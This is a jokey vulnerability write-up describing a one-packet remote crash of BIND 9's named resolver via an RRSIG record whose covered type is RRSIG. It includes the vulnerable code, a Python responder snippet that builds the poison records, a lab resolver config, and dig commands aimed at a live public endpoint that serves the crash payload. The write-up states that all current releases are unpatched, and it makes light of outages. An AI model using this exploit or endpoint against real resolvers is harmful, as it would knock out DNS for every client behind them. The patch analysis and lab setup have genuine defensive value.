It's always DNS. It's always DNS. And now DNS is dead because you sent it two bytes it didn't expect.
A single DNS query kills BIND 9's named. An authoritative server
can craft an RRSIG record whose Type-Covered field is RRSIG (type
46) — a signature that covers signatures. The message parser accepts it (RRSIG
isn't a meta-type, so it passes the filter), the resolver caches it as a
standalone signature, and the QP-cache pairing invariant aborts the process with
a failed assertion.
Remote. Unauthenticated. One packet. Repeatable. The entire resolver goes down.
Every client behind it loses DNS. Every website, every API, every Slack message,
every apt update — all of it stops. Nobody can figure out why
because it's always DNS, and nobody ever checks DNS first.
dig command.
Tell your boss the internet is broken. Technically, you're not even lying.
| Software | ISC BIND 9 (named) |
|---|---|
| Vulnerable | All current releases — v9.21.23, v9.20.24, v9.18.50, stable branch |
| Fixed in | main branch only (commit 9596a03d21, 2026-07-02) — no release tag, no backport |
| Disclosure | Silent — tagged fix: usr: as "Resolver could terminate unexpectedly when processing a malformed RRSIG" |
| Auth required | No — unauthenticated, remote |
| Trigger | Control (or spoof responses for) any unsigned DNS zone the victim resolves |
| CVE | None assigned at time of publication |
Any BIND 9 deployment acting as a recursive resolver that uses the QP cache (the default cache backend in 9.21.x). The zone does not need to be signed — in fact the attack requires an insecure (unsigned) zone, which is the default state of the vast majority of domains on the internet. The resolver does not need DNSSEC validation enabled.
Authoritative-only servers are not affected (they don't cache responses).
Resolvers using the older red-black tree cache may not be affected (the
assertion is in qpcache.c).
lib/dns/message.c parses inbound DNS messages. When it encounters
an RRSIG record, it checks the Type-Covered field:
covers = dns_rdata_covers(rdata);
if (covers == dns_rdatatype_none ||
dns_rdatatype_ismeta(covers)) // rejects ANY, AXFR, OPT, TSIG…
{
DO_ERROR(DNS_R_FORMERR);
}
// RRSIG (type 46) is NOT a meta-type. It passes.
RRSIG is a regular data type (not meta), so RRSIG(covers=RRSIG)
survives parsing. In the QP cache (lib/dns/qpcache.c), the
add() function pairs each new RRSIG header with the existing
header it covers:
if (rdtype == dns_rdatatype_rrsig &&
DNS_TYPEPAIR_TYPE(header->typepair) == covers) // covers == RRSIG
{
INSIST(related == NULL); // qpcache.c:2392 — BOOM
related = header;
}
When covers == RRSIG, the condition
type(header) == covers matches every RRSIG-typed
header at the node. With two ordinary RRSIGs already cached
(e.g. covering A and AAAA), the second match fires
INSIST(related == NULL) — the variable was already set on
the first match. Assertion failure. named aborts. Process
exits 139 (SIGABRT).
RRSIG(RRSIG)).
rrsig.bind9.sl0p.foo RRSIG. The query type must be
RRSIG so the answer is cached as standalone signatures.
RRSIG(covers=A), RRSIG(covers=AAAA), and the
poison RRSIG(covers=RRSIG).
INSIST(related == NULL), named dies.
We operate a live authoritative responder at bind9.sl0p.foo that
serves the crash payload. If your resolver runs vulnerable BIND 9 with the QP
cache, this query will kill it:
# ⚠ THIS WILL CRASH A VULNERABLE BIND RESOLVER # do NOT run this against production infrastructure # unless you enjoy mass panic and explaining to # your boss why the internet is broken dig @<YOUR-VULNERABLE-RESOLVER> rrsig.bind9.sl0p.foo RRSIG
The leftmost label selects the Type-Covered field. rrsig.* is the
crash trigger (3 RRSIGs: A+AAAA+RRSIG). Any other label (e.g.
test.bind9.sl0p.foo) serves a single harmless RRSIG for probing
connectivity without crashing anything.
Container/process exits with code 139 (SIGABRT). named is dead.
Every client behind it loses DNS resolution. Coffee breaks ensue.
To confirm your resolver can reach our zone without crashing it, query for a harmless type-covered value first:
# Safe probe — returns a single RRSIG(covers=A), no crash dig @<your-resolver> test.bind9.sl0p.foo RRSIG # Direct query to our auth (bypasses your resolver entirely) dig @80.78.19.56 rrsig.bind9.sl0p.foo RRSIG # ↑ Returns 3 RRSIGs: A, AAAA, RRSIG — the crash payload. # Your local dig will happily display it. Only a vulnerable # BIND resolver that *caches* it will crash.
Don't want to use our endpoint? Build your own lab. You need two components:
# responder.py — the relevant bit from dns.rdtypes.ANY.RRSIG import RRSIG def rrsig_rd(covered): return RRSIG( dns.rdataclass.IN, dns.rdatatype.RRSIG, type_covered=covered, # set to RRSIG for the kill algorithm=8, labels=2, original_ttl=3600, expiration=now+86400, inception=now-86400, key_tag=31337, signer=ZONE, signature=b"\x00" * 32, # junk — never verified ) # For qtype RRSIG with leftmost label "rrsig": resp.answer.append(rrset_from_rdata(qname, 3600, rrsig_rd(A))) resp.answer.append(rrset_from_rdata(qname, 3600, rrsig_rd(AAAA))) resp.answer.append(rrset_from_rdata(qname, 3600, rrsig_rd(RRSIG))) # Three RRSIGs at one owner name. The third is the poison.
# named.conf — minimal recursive resolver options { listen-on port 5354 { any; }; recursion yes; allow-recursion { any; }; dnssec-validation no; # zone is unsigned anyway }; zone "evil.example" { type forward; forward only; forwarders { <auth-ip>; }; };
dig -p 5354 @127.0.0.1 rrsig.evil.example RRSIG
# named exits with:
# ../lib/dns/qpcache.c:2392: INSIST(related == ((void *)0)) failed
# exiting (due to assertion failure)
Commit 9596a03d21
adds dns_rdatatype_issig(covers) to the parser reject list and
tightens the cache precondition:
// message.c — parser now rejects RRSIG covering RRSIG if (covers == dns_rdatatype_none || dns_rdatatype_ismeta(covers) || dns_rdatatype_issig(covers)) // ← NEW { DO_ERROR(DNS_R_FORMERR); } // qpcache.c — belt-and-suspenders REQUIRE(NEGATIVE(newheader) || (covers != dns_rdatatype_none && !dns_rdatatype_issig(covers)));
Status as of 2026-07-08: The fix exists only on the
main development branch (merged 2026-07-02). It has not
been backported to any release branch. The latest releases —
v9.21.23, v9.20.24 (LTS), v9.18.50 (ESV) — are all vulnerable.
There is no CVE.
named aborts on a single query, killing DNS for every client behind itnamed, fire again, dead again. Automatic restarts via systemd just mean it dies in a loop until the TTL expires (3600s by default in our endpoint)dig command, one crafted zone, no authentication, no DNSSEC, no secretsOn the bright side, this is an excellent excuse to tell everyone to go home. "Sorry team, DNS is down and it's not coming back today. Yes, all of it. No, I can't fix it from my phone. See you Monday."
| 2026-07-02 | Fix committed to main (9596a03d21) |
| 2026-07-02 | Release-tagged as 03c495def6 "fix: usr: Resolver could terminate unexpectedly when processing a malformed RRSIG" |
| 2026-07-02 | Regression test added (6c968be47d) |
| 2026-07-08 | Independent rediscovery via automated n-day triage of BIND 9 commit history |
| 2026-07-08 | Crash reproduced in Docker lab (BIND 9.21.24-dev at pre-patch commit) |
| 2026-07-08 | Live trigger endpoint deployed at bind9.sl0p.foo |
| — | No CVE assigned. No backport to any release branch. No ISC advisory. |